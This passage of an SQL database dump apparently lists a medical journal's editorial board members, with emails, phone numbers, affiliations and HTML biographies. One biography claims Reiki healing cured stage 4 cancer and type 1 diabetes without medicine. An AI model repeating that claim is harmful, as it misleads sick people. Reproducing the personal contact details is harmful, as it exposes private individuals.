href=\"http://www.reddyesp.com/\">www.reddyesp.com<u> </u></a></u>).</strong></p>\r\n\r\n<p><strong>HONORS and AWARDS: </strong>The Prestigious Mahatma Gandhi pravasi gold medal at the house of lords, parliament, London, UK ; lifetime achievement award at New Delhi ; prestigious Bharat Award for Excellence; the prestigious Rashtrya jewel award and gold medal ; Mother Teresa Excellence Award by the Integrated Council for Socio-Economic Progress ; International Goldstar Award, at Bangkok; Prestigious Best Personalities of India Award and Gold Medal ; Prestigious Bharat Excellence Award and Gold Medal; Prestigious Super Achievers of India Award and Gold Medal; CPDR Saturday Distinguished Visiting Professor Recognition Award at Washington , Bharat Gaurav award ( Pride of India Award) from Union Minister, Government of India and IIFS , the GLORY of INDIA AWARD , GCC Distinguished Cancer Scholar Award (1.2 million dollars )(received from the Governor, Georgia, USA),TAMA Award for outstanding efforts, services and leadership in the field of Medicine , MSM Dean&#39;s Outstanding Research award , ATA award for Excellence in Science, USA; INSA Young Scientist Award from the Prime Minister of India, Outstanding Grantsmanship Award and induction into the million dollars club of Drexel University , Twice recipient of Swebelius Cancer Research Award at Yale University , First Margaret Memorial award, UK.</p>\r\n',1,'2018-07-08 12:45:17','2018-07-18 22:57:42',1),(96,21,20,'1531034977.jpg','Rammurti T. Kamble','RTKamble@houstonmethodist.org','7134411450','Professor of Medicine ','Editorial board member','USA','Baylor College of Medicine ','04','<p><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><em>Personal Statement</em>:&nbsp;</strong></span></span></p>\r\n\r\n<p><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">To do greater good every day and to help people experience happiness, the purpose of life</span></span></p>\r\n\r\n<p><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><em>Positions and Honors</em>:</strong></span></span></p>\r\n\r\n<ol>\r\n	<li><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Professor of Medicine</strong> (October 2016 &ndash; present), Bone marrow transplantation and Center for Cell and Gene Therapy, Baylor College of Medicine, Houston, TX</span></span></li>\r\n	<li><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Associate Professor of Medicine</strong> (October, 2009 &ndash; October 2006), Bone marrow transplantation and Center for Cell and Gene Therapy, Baylor College of Medicine, Houston, TX</span></span></li>\r\n	<li><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Assistant Professor of Medicine</strong> (September 2005 &ndash; September 2009), Bone marrow transplantation and Center for Cell and Gene Therapy, Baylor College of Medicine, Houston, TX</span></span></li>\r\n	<li><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Assistant Professor of Medicine </strong>(May 2002 &ndash; October 2005), Department of Medicine, Division of Hematology-Oncology, Bone marrow transplantation program, Oklahoma University Health Sciences Center, Oklahoma.</span></span></li>\r\n	<li><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Associate director fellowship program</strong> (May 2002 &ndash; October 2005), Department of Medicine, Division of Hematology-Oncology, Bone marrow transplantation program, Oklahoma University Health Sciences Center, Oklahoma.</span></span></li>\r\n</ol>\r\n\r\n<p><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><em>Honors</em>:</strong></span></span></p>\r\n\r\n<ol>\r\n	<li><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>UICC-ICRETT (Geneva) fellowship 1996 </strong>to spend 3 months of study in Bone marrow transplantation at New York hospital Cornell Medical Center, NY, beginning October 1996.</span></span></li>\r\n	<li><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>CSIR (Central Scientific and Industrial Research) fellowship 1995</strong> to spend 3 months study in Bone marrow transplantation in Hammersmith hospital London.</span></span></li>\r\n	<li><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>University Gold Medal in Final MBBS </strong>for securing first position in the University examination held in 1986.</span></span></li>\r\n	<li><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>College Silver Medal </strong>in second MBBS for securing first position in the University examination held in 1984</span></span></li>\r\n</ol>\r\n',1,'2018-07-08 12:59:37','2018-07-28 10:15:05',1),(99,21,20,'1531046380.jpg','Arun K. Rishi','rishia@karmanos.org','','Designation','Editorial board member','USA','Wayne State University School of Medicine','06','<p>I joined Wayne State University in 1998 as a faculty member of the Hematology/Oncology division of the Department of Internal Medicine. In 2002, I joined the Karmanos cancer Institute as a faculty member (Primary appointment) while continuing to serve the Department of Internal Medicine Hematology/Oncology division (secondary appointment). As a faculty member I have focused on achieving success in three traditional areas of academia; research, teaching and service.</p>\r\n',1,'2018-07-08 16:05:58','2018-07-18 22:58:01',1),(101,20,20,'1531048615.png','Donald R. Yance','dyance@mederifoundation.org','5414883133','Founder, President, Chairman, Lead Clinician,','Editorial board member','USA',' South Pacific College of Natural Medicine','01','<p><span style=\"font-family:Times New Roman,Times,serif\">Donald &ldquo;Donnie&rdquo; R. Yance is a Clinical Master Herbalist and Certified Nutritionist renowned for his extraordinary knowledge and deep understanding of the healing properties of plants and nutrition, as well as epigenetics, laboratory medicine, oncologic pathology, and molecular oncology. He is a professional member of the American Herbalists Guild and the National Association of Nutrition Professionals.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He is also professed as a Secular Franciscan, which equips him with the breadth and wisdom to touch on the spiritual aspects of healing. Donnie conducts his clinical practice at the Mederi Centre for Natural Healing (MCNH) in Ashland, OR utilizing his unique integrative model known as the Eclectic Triphasic&nbsp;Medical System (ETMS) or &ldquo;Mederi medicine&rdquo;, which he evolved over more than twenty years of successful patient care.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The ETMS model elegantly combines his passion for the latest scientific research with the wisdom of ancient healing traditions, resulting in a compassionate, creative, intelligent, and effective approach to healing. As a visionary leader, mentor, teacher, author, and healer, Donnie&rsquo;s methodology has transformed thousands of lives and is carried out through the mission and programs of the Mederi Foundation.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong><u>Research Interests:</u></strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Oncology, Systems Biology, Herbal and Nutritional Medicine</span></p>\r\n',1,'2018-07-08 16:46:54','2018-08-04 14:57:58',1),(102,21,20,'1531049151.jpg','Mahdi Ghorbani','mhdghorbani@gmail.com','','Ph D, Biomedical Engineering and Medical Physics Department, Faculty of Medicine','Editorial board member','Iran','Shahid Beheshti University of Medical Sciences','09','<p><span style=\"font-family:Times New Roman,Times,serif\"><em><strong><u>Research Interests</u></strong></em><strong>: </strong>Brachytherapy, Monte Carlo Simulation, external beam radiotherapy, dose enhancement by nanoparticles, neutron contamination estimation, boron neutron capture therapy.</span></p>\r\n',1,'2018-07-08 16:55:51','2018-07-28 10:13:02',1),(103,20,20,'1531049665.jpg','Michael N. Mulvihill','michael.mulvihill@einstein.yu.edu','','Professor Emeritus, Department of Family and Social Medicine','Editor in cheif','USA','Albert Einstein College of Medicine','02','',1,'2018-07-08 17:04:24','2018-08-04 14:58:13',1),(104,20,20,'1531050163.jpg','Tafheem Malik ','tmalik@nuhs.edu','6306181081','Assistant Professor,  Department of Basic Sciences,','Editorial board member','USA','National University of Health Sciences','06','<p><strong><u>RESEARCH INTERESTS:</u></strong> Neuroprotective, Regenerative Physiology, Prognostic and Therapeutic Biomarkers, Movement, and Cognition Deficits, Pain, and mood deficits Anorexia Nervosa /Diet Restriction and Anxiety.</p>\r\n',1,'2018-07-08 17:12:43','2018-08-04 14:59:27',1),(105,20,20,'1531050809.jpg','Steven F. Habusta','shabusta@lecom.edu','','professor of orthopedic surgery','Editorial board member','USA','Lake Erie College of Osteopathic Medicine','04','<p>Steven Habusta is an Osteopathic orthopedic surgeon in Erie, Pa.&nbsp; He is a professor of orthopedic surgery at the Lake Erie College of Osteopathic Medicine, Chief of Surgery at Millcreek Community Hospital, and Program Director of the orthopedic surgery residency program of LECOM Health.&nbsp; He is a graduate of the Philadelphia College of Osteopathic Medicine and received a DO degree in June of 1974. He completed a rotating internship and orthopedic surgery residency at Grandview Hospital in Dayton, Ohio, and he received a MEd degree in educational psychology from The University of Toledo in 2001.&nbsp; His interests include adult motivation learning theory, the female athlete, and the use of information technology in medical practice.&nbsp; He has published in Clinical Orthopedics and Related Research, The Journal of Genetic Psychology, and Stat Pearls online data base. &nbsp;He is the team physician for the Mercyhurst University Women&rsquo;s Ice Hockey team.</p>\r\n\r\n<p><strong><u>CURRENT RESEARCH INTERESTS:</u></strong></p>\r\n\r\n<ul>\r\n	<li>Is there a rational for the use on non-use of cell phones in the operating room? Should restrictions be placed on their use?</li>\r\n	<li>Should Osteopathic medical students be screened for cervical spine disease or anomalies prior to participation in manipulative instruction and practice?</li>\r\n	<li>Evaluation of the development of forefoot complications associated with long term ice hockey skating and participation.&nbsp;</li>\r\n</ul>\r\n',1,'2018-07-08 17:21:41','2018-08-04 14:58:48',1),(106,20,20,'1531051530.jpg','Mohamed Osman Hussein','mhussein@lecom.edu','3233143327','Designation','Editorial board member','USA','Lake Erie College of Osteopathic Medicine','03','',1,'2018-07-08 17:35:30','2018-08-04 14:58:31',1),(107,20,20,'1531051931.jpg','Gary Ruelas','dr.ruelas@sbcglobal.net','','Medical Director','Editorial board member','USA','Integrative Medical Institute Of Orange County','07','',1,'2018-07-08 17:42:10','2018-08-04 15:00:01',1),(108,20,20,'','Dr. Phil Conway','chirocentre@Bellnet.ca','','Private Practice Calgary Back and Sports Injury Clinic','Editorial board member','Canada','Marlborough Chiropractic Centre','08','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Phil Conway BPE, DC, FCCPOR(C) has a Bachelor of Physical Education from the University of Calgary and a Doctor of Chiropractic from the Canadian Memorial Chiropractic College (CMCC).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He has completed three years of fellowship training to receive board certification as a Physical Rehabilitation Specialist. He is also board certified in impairment and disability rating by the North American Academy of Impairment Rating Physicians, and is trained in low speed collision analysis by the San Diego Spine Research Institute. He is also a research associate in the Human Performance Laboratory at the University of Calgary, faculty of Kinesiology.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He has been in clinical practice for over 32 years. He was a member of the 1988 Winter Olympics Chiropractic Health Care Team, and formerly served as a medical director for The Calgary Marathon.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Conway is an avid runner and has an active family who all enjoy playing sports at a competitive level.&nbsp;</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">&nbsp;<strong>Research Interests:</strong></span></p>\r\n\r\n<ul>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Vertebral Artery biomechanics and spinal manipulative therapy.</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Cavitation Phenomenon.</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Mild Traumatic Brain Injury.</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Cognitive Testing.</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Running Biomechanics.</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Clinical Practice.</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Collision and Injury Analysis</span></li>\r\n</ul>\r\n',1,'2018-07-08 17:54:43','2019-03-14 17:23:05',1),(109,20,20,'','Kenneth Choi','kenneth.choi.85@gmail.com','4165540971','Designation','Editorial board member','Canada','AIM-Academy','09','',1,'2018-07-08 17:58:51','2018-08-04 15:00:31',1),(110,20,20,'1531053137.png','Patsy Paxton','Patsy.Paxton@spcnm.ac.nz','','Director CEO','Editorial board member','New Zealand','South Pacific College of Natural Medicine','10','<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Patsy has a teacher education and academic quality management background, and on-going research interests in Invitational Leadership, Teaching and Learning, Academic Quality, and&nbsp;Curriculum Development and Design. She embraces the belief in the healing power of nature and a holistic approach to living and healing.</span></span></p>\r\n',1,'2018-07-08 18:02:17','2019-03-14 17:22:22',1),(113,34,20,'1531054997.jpg','Navjot Chaudhary','navjotc@stanford.edu','','Neurosurgery','Editorial board member','USA','Stanford University','05','<p>Navjot Chaudhary, MD, FRCSC, is a Clinical Associate Professor of Neurosurgery. She received her medical degree from McMaster University in Hamilton, Canada. Dr. Chaudhary completed her neurosurgery residency at the University of Western Ontario in London, Canada and fellowships in Spine Neurosurgery and Cyberknife Radiosurgery at Stanford University School of Medicine.</p>\r\n\r\n<p>She works primarily in CyberKnife Neurosurgery at the Stanford Cancer Center, predominantly treating patients with brain and spine tumors, brain and spine arteriovenous malformations, and trigeminal neuralgia.</p>\r\n\r\n<p>&nbsp;</p>\r\n\r\n<p>Her research interests include surgical outcomes. She has co-authored several papers relating to spine conditions, vascular malformations, and brain tumor management.</p>\r\n',1,'2018-07-08 18:33:16','2019-02-15 16:19:44',1),(114,34,20,'','Nalu Navarro Alvarez','Nalu.Navarro@tbrc.mgh.harvard.edu','','Surgery','Editorial board member','USA','Harvard Medical School','04','<p>Nal&uacute; Navarro-Alvarez, MD, PhD, is an instructor in Surgery at the Center for Transplantation Sciences in the Massachusetts General Hospital in Boston. Dr. Navarro&rsquo;s research interests include liver regeneration, stem cell differentiation and transplantation, hepatocyte transplantation, xenotransplantation and tolerance induction. Dr. Navarro-Alvarez has published nearly 60 articles in peer-reviewed journals.</p>\r\n',1,'2018-07-08 18:40:51','2019-02-15 16:23:38',1),(115,34,20,'1531055667.jpg','Vivek Bhaskaran','vivekb@bwh.harvard.edu','8576540963','Department of Neurosurgery Brigham & Womans Hospital','Editorial board member','USA','Harvard Medical School','06','',1,'2018-07-08 18:44:27','2019-02-15 16:20:11',1),(117,32,20,'1531056948.jpg','Jeffrey A Jones','ABCDEF1234@gmail.com','7137988425','Chief of Urology','Editorial board member','USA','ME DeBakey Veteran’s Administration Medical Center Houston','01','<p>I have been affiliated with academic medicine my entire career, which has emphasized teaching, clinical urologic cancer care, and scientific research. This can be verified by a track record of experience, awards and peer-reviewed contributions to the scientific and medical literature, and more than 150 invited addresses at scientific meetings. I also have extensive experience with medical issues affecting astronauts and pilots via my work in aerospace medicine with NASA and the US Navy/Marine Corps. My post-residency American Foundation for Urologic Disease (AFUD-now Urology Care Foundation) Fellowship research focused on the cellular biology of prostate tissue and that, along with numerous clinical research studies in prostate and other genitourinary cancers within the Southwest Oncology Group and other National Cancer Institute sponsored clinical trials, I feel I well qualified to supervise prostate cancer research projects, and mentor post-graduate trainees in prostate cancer projects.</p>\r\n',1,'2018-07-08 19:05:47','2018-07-17 22:35:44',1),(118,29,20,'1531058066.png','Huang Zhiwei','biehzw@nus.edu.sg','6565168856','Associate Professor','Editorial board member','Singapore','National University of Singapore','1','<p xss=removed><span xss=removed>Dr Zhiwei Huang received his PhD from\r\nNTU in 1999. He did his postdoctoral work in the Cancer Imaging Dept, British\r\nColumbia Cancer Agency (BCCA), and Faculty of Medicine at the University of\r\nBritish Columbia (UBC), Canada, and completed his training in Biomedical Optics\r\nand Imaging, Photobiology and Photomedicine in 2003. He also served as an\r\ninternational consultant in lasers and optics at the United Nations Industrial\r\nDevelopment Organization (UNIDO) in Austria and the International Centre for\r\nScience and High Technology (ICS) in Italy in 1999-2000. In late 2003, he\r\njoined the National University of Singapore as an Assistant Professor with the\r\nDivision of Bioengineering. </span></p><p xss=removed><span xss=removed>His research interests include optical\r\nspectroscopy and imaging in medical diagnostics and treatment, modeling of\r\nlight propagation in turbid media, nonlinear microscopy, optical coherence\r\nmicroscopy, and single molecule imaging. Currently, his research group is\r\nfocusing on a number of research projects such as high contrast coherent anti-Stokes\r\nRaman scattering (CARS) microscopy, near-field CARS microscopy, endoscope-based\r\nspectroscopy (Raman, fluorescence, reflectance, scattering, EEM) and imaging\r\ntechniques to enable early diagnosis and detection of epithelial precancer and\r\ncancer.</span></p><p xss=removed><o></o></p>',1,'2018-07-08 19:24:25','2018-07-08 19:24:25',1),(119,33,20,'1531067480.jpg','Layanne Cabral da Cunha Araujo','posfisio@icb.usp.br','1130917253','Av. Prof','Editorial board member','Brazil','Universidade de São Paulo','06','<p>Graduated in Biomedical Sciences (2011) - Master degree in Cell and Molecular Biology by the Federal University of Para&iacute;ba (2014) &ndash; PhD in Sciences (Human Physiology) by Institute of Biomedical Sciences of the University of S&atilde;o Paulo (ICB - USP), working on the following topics: obesity, insulin resistance, hepatic steatosis and non-alcoholic steatohepatitis and intestinal microbiota in the Laboratory of Intracellular Signaling. Member of the Brazilian Society of Human Physiology.</p>\r\n',1,'2018-07-08 22:01:19','2018-08-16 21:48:29',1),(120,33,20,'1531067852.jpeg','Joel IsaIas Osorio GarcIa','drosorio@regenerage.clinic','525530284783','Medical Doctor & business executive focused on Regenerative Medicine, Biotechnology, Medical Education & commercialization.','Editorial board member','Mexico','RegenerAge® Clinic','02','<p>International speaker on Biotechnology (mRNA) and its clinical applications with &quot;No Option&quot; patients. Served in various capacities in private and public practices, as hospital staff physician and as an emergency health services coordinator for a variety of private and public institutions throughout Mexico. Managed a Blood Bank from 2009-2012.</p>\r\n\r\n<p>MD degrees at Westhill University and the National Autonomous University of Mexico and am a qualified Physician Surgeon. Diplomate in Aesthetic Medicine from the Autonomous University of Guadalajara, and I am an Advanced Fellow with the American Board of Anti-Ageing and Regenerative Medicine, a Visiting Scholar in Dermatology, at the University of North Carolina, Chapel Hill. Fellow in Stem Cell Medicine with both the American Academy of Anti-Ageing Medicine and University of South Florida.</p>\r\n',1,'2018-07-08 22:07:31','2018-08-16 21:46:47',1),(121,33,20,'1531068245.jpg','Parijat De','p.de@nhs.net','07814838604','Consultant & Clinical Lead in Diabetes & Endocrinology','Editorial board member','United Kingdom','Sandwell & West Birmingham NHS Trust','03','<p>Dr Parijat De is a Consultant Physician in Diabetes, Endocrinology, and Lipid Metabolism at City Hospital (Sandwell &amp; West Birmingham NHS Trust), Birmingham.&nbsp;</p>\r\n\r\n<p>He started as a Consultant Physician in January 2003 having trained as a Specialist Registrar in Wales. He has done his MD Medicine from India.</p>\r\n\r\n<p>He has a wide interest and expertise in all aspects of Diabetes, especially in the field of Metabolic Medicine and Diabetes Renal disease. His special interest in Diabetes is Metabolic Syndrome as well as the growing problem of obesity including new oral and injectable therapies for weight loss. He has published widely in his field and persues an active research interest. He has published numerous papers in peer reviewed journals. He has set up a regular nurse-led diabetic renal review clinic and is involved in research and projects involving diabetic nephropathy and renal disease. He has also set up community based diabetes clinics in Birmingham, which are amongst the first in the country. He has received national acclaim for the Diabetes in Community Extension (DiCE) work.</p>\r\n\r\n<p>He has an active interest in all aspects of Endocrinology and has regular out-patient clinics as well as managing in-hospital referrals. His special interest is in the Thyroid, especially subclinical hypo-and hyperthyroidism and Thyroid eye disease for which he has set up a specialist multi-disciplinary clinic with the eye surgeon. He has written reviews on sub-clinical hyperthyroidism. His other endocrine intersts include adrenal gland, ovary, pituitary, adrenal, endocrine hypertension, and Vitamin D deficiency.</p>\r\n\r\n<p>He is involved in both undergraduate and postgraduate MRCP teaching and is an MRCP examiner and host. He has previously been the trust Clinical Governance Lead, College Tutor and is currently the Clinical Lead. He has set up local protocols and guidelines in most aspects of metabolic medicine including emergencies in diabetes as well as endocrinology.</p>\r\n',1,'2018-07-08 22:14:05','2018-08-16 21:47:18',1),(122,33,20,'','Naglaa EL-Mokadem','naglaae@yahoo.com','','Associate  Professor Faculty of Nursing ','Editorial board member','Egypt','Menoufia University ','04','<p>Dr. Naglaa EL Mokadem graduated from Case Western Reserve University in Cleveland, Ohio, United State of America, in 2003.&nbsp; In 2002, she wins the<strong> </strong>Frances Payne Bolton School of Nursing Alumni Association Case Western Reserve University Research Award<strong>, Ohio</strong>, <strong>USA</strong> to fund her doctoral dissertation, titled, &ldquo;The Relationships between Fatigue, Depression, and Sleep Disturbances after Myocardial Infarction.&rdquo;&nbsp;</p>\r\n\r\n<p>Dr. El Mokadem is interested in symptoms management after Myocardial Infarction,&nbsp;Cardiovascular risk reduction in women, weaning critically ill elderly patients from mechanical ventilation, managing critically ill patients and innovative nursing education (Problem-based Learning, and Team-based Learning).</p>\r\n\r\n<p>Dr. El Mokadem has been working in the Center for Research &amp; Scholarship at Case Western Reserve University, Cleveland, Ohio, USA and maintains professional membership of the Midwest Nursing Research Society, Sigma Theta Tau, Alpha Mu Chapter, American Heart Association, and the American Association of Critical Care.&nbsp;</p>\r\n',1,'2018-07-08 22:21:13','2018-08-16 21:47:54',1),(123,33,20,'1531069215.jpg','Omer Engin','omerengin@hotmail.com','','Surgery Department','Editorial board member','Turkey','Buca Seyfi Demirsoy State Hospital','05','',1,'2018-07-08 22:30:14','2018-08-16 21:48:07',1),(124,33,20,'1531069737.png','Lisa Schuman','lschuman@rmact.com','','Director of Mental Health Services','Editor in cheif','USA','Reproductive Medicine Associates of Connecticut (RMACT)','01','',1,'2018-07-08 22:38:57','2018-08-16 21:46:29',1),(125,33,20,'1531070413.jpg','Jeena.N.Janardhanan','drjeenanj@gmail.com','','Associate Professor & Head','Editorial board member','India','VPSV Ayurveda Medical College','07','<p>Associate Professor &amp; Head, Department of Head&amp;Neck,Ophthalmology&amp;ENT, VPSV Ayurveda Medical College, Kottakkal,India, which is a pioneer institution in the field of Ayurveda established in 1917 and presently affiliated to Kerala University of Health Sciences, India.</p>\r\n\r\n<p><strong><u>Achievements:</u></strong></p>\r\n\r\n<ul>\r\n	<li>Member, Faculty of Ayurveda, University of Calicut, India</li>\r\n	<li>Member, Board of studies, University of Calicut, India</li>\r\n	<li>Member, International Organization of Hirudotherapy, Moscow</li>\r\n	<li>Member of panel of experts, First Russian Ayurveda Congress,Moscow in April 2013</li>\r\n	<li>Organizing Committee Member and moderator cum speaker at the 6<sup>th</sup> International Conference on Natural and Alternative Medicine Conference held at Beijing, China in September 2016</li>\r\n	<li>Organizing Committee Member and invited speaker at the First World Hirudotherapy Congress held at Moscow in September 2013 as well as second World Hirudotherapy congress held at Moscow in October 2016</li>\r\n	<li>Key note speaker in 6<sup>th</sup> International conference on Herbal diabetes held at Bangkok, Thailand in November 2017</li>\r\n	<li>Speaker in different National and International Conferences for the last 12 years.</li>\r\n</ul>\r\n\r\n<p><strong><u>Research Interest:</u></strong></p>\r\n\r\n<p>Currently doing research work in:</p>\r\n\r\n<ul>\r\n	<li>&nbsp;Clinical trial on efficacy of Leech therapy in treating scleritis and episcleritis.</li>\r\n	<li>&nbsp;Clinical trial on the efficacy of Ayurvedic medicines in Diabetic Retinopathy</li>\r\n	<li>Clinical trial on efficacy of leech therapy in managing periodontitis</li>\r\n	<li>Efficacy of herbal medicine gargle in Radiotherapy induced oral mucositis in Head and Neck Cancer.</li>\r\n	<li>Efficacy of herbal medicine in correcting refractive errors in children.</li>\r\n</ul>\r\n\r\n<p>&nbsp;</p>\r\n',1,'2018-07-08 22:50:13','2018-08-16 21:48:58',1),(126,33,20,'1531070858.jpg','Vivek Kamath','v_vivek_kamath@rediffmail.com','','Founder','Editorial board member','India','Heal The World organization','08','<p>Vivek Kamath founder of the &ldquo;Heal The World&rdquo; organization. He is a Reiki Master, Mexican Healer, Melchizedek Healer, Crystal Healer and Past Life Regression Therapy Expert. He has healed many diabetic patients (Type1, Type2, Type 3/1.5/LADA) without any medicines. He has also healed Cancer &ndash; stage 4 patients, blood pressure (both high and low blood pressure), heart disease (removed the heart blockages), removed kidney stones, ovarian cysts, fibrosis of the breast, fatty liver, lungs disease, cured sinusitis, sever joint pain, lumbar L5 spinal disk pain, Sciatica pain, neck pain, constipation, rheumatoid arthritis, glaucoma,&nbsp; migraines,headaches,insomnia,stomach related problem, IBS, diabetic gum problems, skin problems( dry skin, eczema) and chronic nasal allergies, nasal blockages without any medicines. Some of the above treatments have been completed within a week to maximum 1 month duration. &nbsp;<br />\r\nVivek Kamath is software engineer by profession and worked across the globe around 20 years mainly across the international banks as a freelancer. He worked in UK, Germany, Australia, USA, Singapore, Japan, India and Bahrain.</p>\r\n',1,'2018-07-08 22:57:37','2018-08-16 21:48:44',1),(127,16,20,'1531162522.jpg','Indranil Dasgupta','idasgupta@jefferson.com','2158060588','Clinical Assistant Professor of Medicine ','Editorial board member','USA','Jefferson Heart Institute','01','<p>Dr. Dasgupta has been Clinical Assistant Professor of Medicine at Jefferson Medical College and a member of the Thomas Jefferson University Hospital Heart Institute in Philadelphia, Pennsylvania since 2002. He specializes in Clinical Cardiovascular Disease and is part of the Adjunct Faculty Vascular Biology Working Group at the University of Florida School of Medicine. He graduated from the St. George&#39;s University School of Medicine in 1994, after receiving his MPH-International Health from Loma Linda University in 1987 and his MBA-Finance from George Washington University in 1989. In addition to completing his Cardiology Fellowship at Robert Wood Johnson Medical School of the University of Medicine and Dentistry of New Jersey, serving as Chief in his final year, Dr. Dasgupta completed a Fellowship in Geriatric Medicine, MCP-Hahnemann University.</p>\r\n\r\n<p>Dr. Dasgupta&rsquo;s research interests include: Heart disease in older women and management of mitral valve disease in older adults.</p>\r\n',1,'2018-07-10 00:25:22','2018-07-17 22:06:04',1),(128,16,20,'1531163273.jpg','Young-Joon Jun','Abcded@gmail.com','','Department of Plastic Surgery','Editorial board member','South Korea','Catholic University of Korea','11','',1,'2018-07-10 00:37:52','2018-09-10 15:03:18',1),(129,16,20,'1531163841.jpg','Giuseppe Murdaca','Giuseppe.Murdaca@unige.it','390103537924','Associate Professor-Internal Medicine','Editorial board member','Italy','Di.M.I.-University of Genova','06','',1,'2018-07-10 00:41:57','2018-09-10 15:01:05',1),(130,16,20,'1531164375.jpg','Sherifa Ahmed Hamed','hamed_sherifa@yahoo.com','20882371820','Professor of Neurology','Editorial board member','Egypt','Assiut University Hospital','12','',1,'2018-07-10 00:55:27','2018-09-10 15:03:36',1),(131,16,20,'1531164676.jpg','Emad A Hussein ','emad.hussein@ainshams.com','','Vascular Surgery Faculty of medicine','Editorial board member','Egypt','Ain Shams University','07','',1,'2018-07-10 01:01:15','2018-09-10 15:01:24',1),(132,31,20,'1531314458.jpg','Sahar Abd Al Bary','saharabdalbary@gmail.com','20226351964',' Egyptian Chinese University','Editorial board member','Egypt',' Egyptian Chinese University','04','',1,'2018-07-11 18:37:38','2018-07-24 20:40:42',1),(133,30,20,'1531315704.jpg','Waheed Roomi','w.roomi@drrath.com','00000000000','Department of Oncology','Editorial board member','USA','Dr. Rath Research Institute','01','<p>Dr. Roomi holds a Ph.D. in Biochemical Toxicology from the University of Surrey, England. He is a Fellow of the American College of Nutrition. He is certified by the American Board of Toxicology (DABT) and the American College of Nutrition (CNS). He held numerous fellowships including the Alexander von Humboldt (Germany), NRC (Canada), and others. Dr. Roomi has published over 200 papers in international journals. He is a member of the AACR, FASEB, SOT and the ASCP.</p>\r\n',1,'2018-07-11 18:52:40','2018-08-28 15:27:10',1),(134,30,20,'1531316173.jpg','Qinqin Gao','jennyqgao@126.com','00000000000','University of China','Editorial board member','China','University of China','04','<p>Dr. Qinqin Gao received her Ph.D. in biochemistry and molecular biology from East China Normal University, China. Since 2013, she served as an associate professor in Institute for Fetology at the First Hospital of Soochow University. DNA methylation/histone modifications, as well as epigenetic reprogramming are her areas of expertise. Her current research focused on the mechanisms in developmental programming of adult diseases, and the etiology of pregnancy complications, especially preeclampsia.</p>\r\n',1,'2018-07-11 19:06:12','2018-08-28 15:28:29',1),(135,17,20,'1531316426.jpg','Kourlaba Georgia','kurlaba@gmail.com','00000000000','Center for Clinical Epidemiology and Outcomes Research','Editorial board member','Greece','Center for Clinical Epidemiology and Outcomes Research','11','<p><span style=\"font-family:Times New Roman,Times,serif\">Georgia Kourlaba is the Associate Scientific Director of the non-profit company &ldquo;Collaborative Center of Clinical Epidemiology and Outcomes Research (CLEO)&rdquo; focusing on control and prevention of healthcare associated infections. She earned her MSc in Biostatistics from the University of Athens and her Ph.D. in Nutritional Epidemiology-Biostatistics from Harokopio University, in Athens, Greece. She has been teaching for 10 years, a year-long Research Methods postgraduate course at the Medical School, University of Athens.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Prior to joining CLEO in 2012, Dr Kourlaba had served as biostatistics research fellow in the Dietetics and Nutritional Science Department of Harokopio University and at the National School of Public Health, both in Athens, gaining research experience in the design and statistical analysis of cross-sectional studies, clinical trials and economic evaluation studies. She has published over 100 papers in international scientific journals and has received a significant number of references to her work <strong>(h-index per googlescholar: 26).</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Her main experience and expertise include: economic evaluation of pharmaceuticals, devices, and diagnostics; analysis and modeling of medical care costs; design and analysis of market research, epidemiologic studies and clinical trials. Her analytic experience includes Markov modeling, regression analysis, mediation analysis, meta-analyses, and longitudinal modeling. She has extensive experience building economic models in Excel, and developing user-friendly model interfaces. Her analytical skills include good mastering of SAS, R, STATA, and SPSS.</span></p>\r\n',1,'2018-07-11 19:10:26','2018-07-25 20:41:42',1),(138,24,20,'1531327531.jpg','Monica V Butnariu','monicabutnariu@yahoo.com','','Professor, habilitated doctor, chemist, Chemistry & Biochemistry Discipline','Editorial board member','Romania','Banat’s University of Agricultural Sciences and Veterinary Medicine','03','<p>Monica Butnariu has completed her PhD in 2005 (Banat University, RO), since 2013 is<em> </em>habilitated doctor from Cluj Napoca University, RO. She is the professor of University of Agricultural Sciences and Veterinary Medicine of Banat &quot;<em>King Mihai I of Romania</em>&quot; in Timisoara, 300645, Romania (<em>Chemistry &amp; Biochemistry Discipline</em>). She has numerous articles published in the <a href=\"https://www.brainmap.ro/profile/monica-butnariu\">Science Citation Index (SCI) / International Scientific Indexing (ISI)</a> / <a 